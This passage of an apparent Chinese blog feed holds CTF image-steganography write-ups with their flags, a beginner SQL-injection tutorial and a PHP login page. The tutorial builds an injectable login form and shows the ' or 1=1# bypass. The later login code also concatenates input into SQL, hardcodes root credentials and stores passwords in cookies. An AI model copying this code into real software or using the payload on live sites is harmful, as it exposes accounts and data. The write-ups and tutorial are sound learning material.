src="/2019/07/12/MISC-图片隐写/pic.png" alt="8"></p><p>首先用Winhex打开看下，没有异常</p><p>然后放到stegsolve中查看，看下各个通道在Blue plane 0通道发现一张二维码</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712173101.png" alt="9"></p><p>扫一下得到一些数字</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">45 46 45 46 32 45 32 46 46 45 46 32 46 45 46 46 32 46 46 46 32 45 46 46 46 32 46 46 45 45 46 45 32 45 46 46 46 32 46 46 46 32 46 45 46 46 32</span><br></pre></td></tr></table></figure><p>由45、46、32这三个两位数组成，应该是ASCII码，对照ASCII码表45为“-”，46为“.”，32为空格，得到</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-.-. - ..-. .-.. ... -... ..--.- -... ... .-..</span><br></pre></td></tr></table></figure><p>这是个摩斯密码<a href="http://www.zou114.com/mesm/" target="_blank" rel="noopener">在线解密</a>，结果为ctflsb bsl，最终flag为CTF{lsb_bsl}</p><h2 id="南邮-丘比龙De女神"><a href="#南邮-丘比龙De女神" class="headerlink" title="南邮 - 丘比龙De女神"></a>南邮 - 丘比龙De女神</h2><p>题目地址：<a href="https://cgctf.nuptsast.com/challenges#Misc" target="_blank" rel="noopener">https://cgctf.nuptsast.com/challenges#Misc</a></p><p>打开后是一个gif图片</p><p><img src="/2019/07/12/MISC-图片隐写/gif.gif" alt="10"></p><p>题目上说隐藏了一张图片，所以binwalk一下</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712212416.png" alt="11"></p><p>发现有隐藏的zip文件但只有文件尾没有头，所以用Winhex打开找到gif文件的结束地址后面的就是zip文件了，搜索3B 00（gif文件结束地址）</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712213218.png" alt="12"></p><p>看到后边有个love暂时还不知道有什么用，zip文件头是50 4B 03 04刚好love对应的也是4个字节，所以替换掉然后把zip文件分离出来，打开里面有个图片但需要密码，这个密码就是love了，打开就是题上说的女神的照片了，flag是md5值，可以用kali一个命令得到md5值</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712210839.png" alt="13"></p><p>或者<a href="http://tool.zhengxianjun.com/file-hash（我在这个网站试没反应......），最终flag为a6caad3aaafa11b6d5ed583bef4d8a54" target="_blank" rel="noopener">http://tool.zhengxianjun.com/file-hash（我在这个网站试没反应......），最终flag为a6caad3aaafa11b6d5ed583bef4d8a54</a></p><h2 id="南邮-图种"><a href="#南邮-图种" class="headerlink" title="南邮 - 图种"></a>南邮 - 图种</h2><p>题目地址：<a href="https://cgctf.nuptsast.com/challenges#Misc" target="_blank" rel="noopener">https://cgctf.nuptsast.com/challenges#Misc</a></p><p>网盘提取后打开还是一个gif图片，再binwalk一下发现真的隐藏了一个zip文件而且是完整的，把它分离出来（也可直接修改后缀名为zip）</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712220648.png" alt="14"></p><p>得到一个压缩包打开里面是一个gif图片，题目上说flag是动态图最后一句话的拼音首字母加上nctf{}，找到最后一帧，可以用stegsolve也可以用wps图片查看保存最后一帧</p><p><img src="/2019/07/12/MISC-图片隐写/233333_wps图片_95.jpg" alt="15"></p><p>所以最终flag为nctf{dssdcmlw}</p><h2 id="Jarvis-OJ-Flag"><a href="#Jarvis-OJ-Flag" class="headerlink" title="Jarvis OJ - Flag"></a>Jarvis OJ - Flag</h2><p>题目地址：<a href="https://www.jarvisoj.com/challenges" target="_blank" rel="noopener">https://www.jarvisoj.com/challenges</a> misc类</p><p>题目就是一张图片，保存下来</p><p><img src="/2019/07/12/MISC-图片隐写/42011487927629132.png" alt="16"></p><p>首先放在Winhex查看，格式正常末尾没有隐藏的zip文件。然后用stegsolve打开查看发现各通道没有隐藏图片，接着可以试下是否是lsb隐写，红、绿、蓝勾上0查看数据</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712232950.png" alt="17"></p><p>发现50 4b 03 04这不是zip文件头吗!保存为zip格式文件（save text或save bin都可以），打开后里面是一个文件名为1的文件但没有后缀不知道是什么文件</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712233438.png" alt="18"></p><p>选择记事本打开，应该是个elf文件，可以看到类似flag的东西，提交一下，正确</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190712234212.png" alt="19"></p><p>最终flag为hctf{dd0gf4c3tok3yb0ard4g41n~~~}</p><h2 id="Jarvis-OJ-炫酷的战队logo"><a href="#Jarvis-OJ-炫酷的战队logo" class="headerlink" title="Jarvis OJ - 炫酷的战队logo"></a>Jarvis OJ - 炫酷的战队logo</h2><p>题目地址：<a href="https://www.jarvisoj.com/challenges" target="_blank" rel="noopener">https://www.jarvisoj.com/challenges</a> misc类</p><p>这题下载的是个bmp图片，下载后把后缀名bmp后面的删掉。</p><p>现在这题还没做出来，因为需要先把bmp文件头不上但是我改了好长时间就是不对打不开图片，所以后面做不了了，等做出来了在补吧。参考博客：<a href="https://www.cnblogs.com/fantasquex/p/10350321.html" target="_blank" rel="noopener">https://www.cnblogs.com/fantasquex/p/10350321.html</a></p><h2 id="攻防世界-pdf"><a href="#攻防世界-pdf" class="headerlink" title="攻防世界 - pdf"></a>攻防世界 - pdf</h2><p>题目地址：<a href="https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=0&amp;id=5100" target="_blank" rel="noopener">https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=0&amp;id=5100</a></p><p>下载附件是一个pdf文件用wps打开是一张图片</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190713012453.png" alt="20"></p><p>题目上说图片下面什么都没有，所以图片下面肯定有东西，刚开始我以为是要修改下图片的高会出现flag，试了下发现不是，其实是把图片删了下面就是flag</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190713012914.png" alt="21"></p><p>最终flag为flag{security_through_obscurity}</p><h2 id="攻防世界-Excaliflag"><a href="#攻防世界-Excaliflag" class="headerlink" title="攻防世界 - Excaliflag"></a>攻防世界 - Excaliflag</h2><p>题目地址：<a href="https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=1&amp;id=4762" target="_blank" rel="noopener">https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=1&amp;id=4762</a></p><p>下载附件是一个png图片，首先拉进Winhex查看没有隐藏文件，然后用stegsolve打开插卡各个通道，发现一串字母，试了下果然是flag，最终flag为3DS{Gr4b_Only_th1s_B1ts}</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190713015033.png" alt="22"></p><h2 id="攻防世界-Avatar"><a href="#攻防世界-Avatar" class="headerlink" title="攻防世界 - Avatar"></a>攻防世界 - Avatar</h2><p>题目地址：<a href="https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=1&amp;id=4903" target="_blank" rel="noopener">https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=1&amp;id=4903</a></p><p>下载附件打开是张图片，这题要用到一个工具outguess，安装和使用参考<a href="https://www.cnblogs.com/2f28/p/9740347.html" target="_blank" rel="noopener">https://www.cnblogs.com/2f28/p/9740347.html</a></p><p>输入命令</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">outguess -r /root/lamb.jpg -t 1.txt</span><br></pre></td></tr></table></figure><p>输入cat 1.txt可查看文件内容，即flag为We should blow up the bridge at midnight</p><h2 id="攻防世界-What-is-this"><a href="#攻防世界-What-is-this" class="headerlink" title="攻防世界 - What-is-this"></a>攻防世界 - What-is-this</h2><p>题目地址：<a href="https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=1&amp;id=4907" target="_blank" rel="noopener">https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=1&amp;id=4907</a></p><p>下载附件然后打开有两张图片，而且看起来一样但查看属性发现字节是不一样的，所以就要用到stegsolve中的Image Combiner</p><p><img src="/2019/07/12/MISC-图片隐写/pic1.jpg" alt="23"></p><p><img src="/2019/07/12/MISC-图片隐写/pic2.jpg" alt="24"></p><p>得出一张图片，就是flag了</p><p><img src="/2019/07/12/MISC-图片隐写/QQ截图20190713023617.png" alt="25"></p><p>最终flag为AZADI TOWER</p><h2 id="攻防世界-Training-Stegano-1"><a href="#攻防世界-Training-Stegano-1" class="headerlink" title="攻防世界 - Training-Stegano-1"></a>攻防世界 - Training-Stegano-1</h2><p>题目地址：<a href="https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=1&amp;id=4746" target="_blank" rel="noopener">https://adworld.xctf.org.cn/task/answer?type=misc&amp;number=1&amp;grade=1&amp;id=4746</a></p><p>下载附件是一个图片，用Winhex打开直接看到flag</p><p>最终flag为steganoI</p><p><strong>持续更新，未完待续……</strong></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;题目复现：&lt;/p&gt;
&lt;h2 id=&quot;实验吧-黑与白&quot;&gt;&lt;a href=&quot;#实验吧-黑与白&quot; class=&quot;headerlink&quot; title=&quot;实验吧 - 黑与白&quot;&gt;&lt;/a&gt;实验吧 - 黑与白&lt;/h2&gt;&lt;p&gt;题目地址：&lt;a href=&quot;http://www.shiyanbar.com/ctf/1925&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://www.shiyanbar.com/ctf/1925&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;题目打开是一张图片，像是二维码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/07/12/MISC-图片隐写/Pcat.jpg&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
&lt;p&gt;放入CQR中看下，发现能扫出来，是一个网站&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>最简单的sql注入</title>
    <link href="http://yoursite.com/2019/04/29/%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84sql%E6%B3%A8%E5%85%A5/"/>
    <id>http://yoursite.com/2019/04/29/最简单的sql注入/</id>
    <published>2019-04-29T13:04:39.000Z</published>
    <updated>2019-06-16T12:53:34.251Z</updated>
    
    <content type="html"><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这里写的是最简单的sql注入，刚入门其他之后再写。首先，先理解一下sql注入，百度百科：所谓sql注入，就是通过把sql命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的sql命令。具体来说，它是利用现有应用程序，将（恶意的）sql命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）sql语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行sql语句。当应用程序使用输入内容来构造动态sql语句以访问数据库时，就会发生sql注入攻击。<a id="more"></a></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;比如做一个表单提交的页面就要连接数据库，连接数据库代码使用的就是许多sql语句，而sql注入攻击就是构造一个特殊的sql语句在不知道用户名密码的情况下直接登录。然后实验一下：</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;先创建建一张数据表再添加几条记录（这里就不写了）用于测验，之后就是做一个有sql注入漏洞的web提交表单。代码：登录界面login.html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>登录页面<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">"text/css"</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">form &#123; </span></span><br><span class="line"><span class="undefined">text-align: center; </span></span><br><span class="line"><span class="undefined">&#125;</span></span><br><span class="line"><span class="undefined">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">"post"</span> <span class="attr">action</span>=<span class="string">"login.php"</span>&gt;</span></span><br><span class="line">用户名：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">'username'</span> <span class="attr">maxlength</span>=<span class="string">"20"</span>/&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">密　码：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">name</span>=<span class="string">'password'</span> <span class="attr">maxlength</span>=<span class="string">"18"</span>/&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> <span class="attr">value</span>=<span class="string">'登录'</span> <span class="attr">name</span>=<span class="string">"submit"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>表单数据提交到login.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">header(<span class="string">'content-type:text/html;charset=utf-8'</span>);</span><br><span class="line">error_reporting(E_ALL ^ E_NOTICE);</span><br><span class="line"><span class="keyword">if</span> ( ( $_POST[<span class="string">'username'</span>] != <span class="keyword">null</span> ) &amp;&amp; ( $_POST[<span class="string">'password'</span>] != <span class="keyword">null</span> ) ) &#123;</span><br><span class="line">$userName = $_POST[<span class="string">'username'</span>];</span><br><span class="line">$password = $_POST[<span class="string">'password'</span>];</span><br><span class="line">$con = mysqli_connect(<span class="string">'localhost'</span>,<span class="string">'root'</span>,<span class="string">'root'</span>);</span><br><span class="line"><span class="keyword">if</span> (!$con) &#123; </span><br><span class="line"><span class="keyword">die</span>(<span class="string">'数据库连接失败'</span>.$mysql_error()); </span><br><span class="line">&#125; </span><br><span class="line">mysqli_select_db($con,<span class="string">"ymh"</span>);</span><br><span class="line"></span><br><span class="line">$sql = <span class="string">"select * from user where username = '$userName' and password='$password'"</span>;</span><br><span class="line">$res = mysqli_query($con,$sql);</span><br><span class="line">$arr = mysqli_fetch_assoc($res);</span><br><span class="line"><span class="keyword">if</span>($arr)</span><br><span class="line">&#123;</span><br><span class="line">header(<span class="string">'Location: welcome.html'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('用户名或密码错误！');location.href = 'login.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('用户名和密码不能为空！');location.href = 'login.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这一步是web表单最重要的一步连接数据库，但也是sql漏洞所在。看上面代码是直接将提交过来的数据执行，没有进行任何防范措施，也就是这一句</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$sql = <span class="string">"select * from user where username = '$userName' and password='$password'"</span>;</span><br></pre></td></tr></table></figure><p>判断用户名密码是否正确，可以进行sql注入。</p><p>登陆成功welcome.html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>&gt;</span> </span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>欢迎登陆<span class="tag">&lt;/<span class="name">title</span>&gt;</span> </span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>Hello World<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>先进PHPstudy中的MySQL-Front试一下，首先看正确的执行语句<img src="/2019/04/29/最简单的sql注入/QQ截图20190428203643.png" alt="1" title="1"></p><p>然后就是用’&nbsp;or&nbsp;1=1#构造sql语句：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from user where username = &apos;&apos; or 1=1#&apos; and password=&apos;123456&apos;</span><br></pre></td></tr></table></figure><p>执行一下：<img src="/2019/04/29/最简单的sql注入/QQ截图20190428204303.png" alt="2" title="2"></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;可以看到执行成功并且表中所有值都显示出来了，这是因为#是注释的意思后面都被注释掉了，这时sql语句就等价与</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from user where username = &apos;&apos; or 1=1</span><br></pre></td></tr></table></figure><p>那这条语句是成立的，因为1=1是恒成立的，where语句为真。所以这条sql语句又等价于</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from user</span><br></pre></td></tr></table></figure><p>这条语句就是检索user表中所有字段。</p><p>这样在web表单提交页面用户名一栏输入’&nbsp;or&nbsp;1=1#，密码随意输就能登陆成功了。试一下<img src="/2019/04/29/最简单的sql注入/QQ截图20190428210012.png" alt="3" title="3"></p><p><br><img src="/2019/04/29/最简单的sql注入/QQ截图20190428210223.png" alt="4" title="4"></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;登陆成功，sql注入完成。可以看出来sql注入就是通过构造特殊的sql语句来进行的，所以学习sql注入首先就要熟练各种sql语句、数据库的增删改查等。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;这里写的是最简单的sql注入，刚入门其他之后再写。首先，先理解一下sql注入，百度百科：所谓sql注入，就是通过把sql命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的sql命令。具体来说，它是利用现有应用程序，将（恶意的）sql命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）sql语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行sql语句。当应用程序使用输入内容来构造动态sql语句以访问数据库时，就会发生sql注入攻击。&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>简单登录注册页面</title>
    <link href="http://yoursite.com/2019/04/21/%E7%AE%80%E5%8D%95%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E9%A1%B5%E9%9D%A2/"/>
    <id>http://yoursite.com/2019/04/21/简单登录注册页面/</id>
    <published>2019-04-21T11:08:20.000Z</published>
    <updated>2019-06-16T12:51:53.666Z</updated>
    
    <content type="html"><![CDATA[<p>使用工具：PHPstudy</p><p>打开PHPstudy，进入WWW目录，我是建了3个html文件和2个php文件，分别是login.html（登录页面）、enter.php（登录后台判断）、register.html（注册页面）、register.php（注册后台判断）、welcome.html（登陆成功后欢迎界面）。第一次做web页面，很简陋……代码：<a id="more"></a></p><p>login.html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>登录页面<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">"text/css"</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">form &#123; </span></span><br><span class="line"><span class="undefined">text-align: center; </span></span><br><span class="line"><span class="undefined">&#125;</span></span><br><span class="line"><span class="undefined">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">"post"</span> <span class="attr">action</span>=<span class="string">"enter.php"</span>&gt;</span></span><br><span class="line">用户名：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">'username'</span> <span class="attr">maxlength</span>=<span class="string">"20"</span>/&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">密　码：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">name</span>=<span class="string">'password'</span> <span class="attr">maxlength</span>=<span class="string">"18"</span>/&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> <span class="attr">value</span>=<span class="string">'登录'</span> <span class="attr">name</span>=<span class="string">"submit"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"register.html"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"button"</span> <span class="attr">value</span>=<span class="string">"注册"</span> <span class="attr">name</span>=<span class="string">"button"</span> /&gt;</span> </span><br><span class="line"><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>enter.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">header(<span class="string">'content-type:text/html;charset=utf-8'</span>);</span><br><span class="line">error_reporting(E_ALL ^ E_NOTICE);<span class="comment">//屏蔽notice提示错误</span></span><br><span class="line"><span class="comment">//初次访问</span></span><br><span class="line"><span class="keyword">if</span> ( ( $_POST[<span class="string">'username'</span>] != <span class="keyword">null</span> ) &amp;&amp; ( $_POST[<span class="string">'password'</span>] != <span class="keyword">null</span> ) ) &#123;</span><br><span class="line">$userName = $_POST[<span class="string">'username'</span>];</span><br><span class="line">$password = $_POST[<span class="string">'password'</span>];</span><br><span class="line">$con = mysqli_connect(<span class="string">'localhost'</span>,<span class="string">'root'</span>,<span class="string">'root'</span>);<span class="comment">//连接数据库</span></span><br><span class="line"><span class="keyword">if</span> (!$con) &#123; </span><br><span class="line"><span class="keyword">die</span>(<span class="string">'数据库连接失败'</span>.$mysql_error()); </span><br><span class="line">&#125; </span><br><span class="line">mysqli_select_db($con,<span class="string">"ymh"</span>);<span class="comment">//选择数据库</span></span><br><span class="line"></span><br><span class="line">$sql = <span class="string">"select * from user where username = '&#123;$userName&#125;' "</span>;</span><br><span class="line">$res = mysqli_query($con,$sql);</span><br><span class="line">$arr = mysqli_fetch_assoc($res);</span><br><span class="line"><span class="keyword">if</span>($arr)&#123;</span><br><span class="line"><span class="keyword">if</span> ($arr[<span class="string">'password'</span>] == $password)</span><br><span class="line">&#123;                 </span><br><span class="line">setcookie(<span class="string">'username'</span>,$userName,time()+<span class="number">3600</span>,<span class="string">'/'</span>);</span><br><span class="line">setcookie(<span class="string">'password'</span>,$password,time()+<span class="number">3600</span>,<span class="string">'/'</span>);</span><br><span class="line">header(<span class="string">'Location: welcome.html'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('用户名或密码错误！');location.href = 'login.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('用户名不存在！');location.href = 'login.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('用户名和密码不能为空！');location.href = 'login.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//再次访问</span></span><br><span class="line"><span class="keyword">if</span> ( ($_COOKIE[<span class="string">'username'</span>]!= <span class="keyword">null</span>)&amp;&amp;($_COOKIE[<span class="string">'password'</span>]!= <span class="keyword">null</span>) ) &#123;</span><br><span class="line">$userName = $_COOKIE[<span class="string">'username'</span>];</span><br><span class="line">$password = $_COOKIE[<span class="string">'password'</span>];</span><br><span class="line">$con = mysqli_connect(<span class="string">'localhost'</span>,<span class="string">'root'</span>,<span class="string">'root'</span>,<span class="string">'ymh'</span>);</span><br><span class="line">$res = mysqli_query($con,<span class="string">"select * from ymh where username='&#123;$userName&#125;'"</span>);</span><br><span class="line">$row = mysqli_fetch_assoc($res);</span><br><span class="line"><span class="keyword">if</span> ($row[<span class="string">'password'</span>] == $password) &#123;</span><br><span class="line">header(<span class="string">'Location: welcome.html'</span> . <span class="string">"?username=&#123;$userName&#125;"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;location.href = 'login.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;</span><br><span 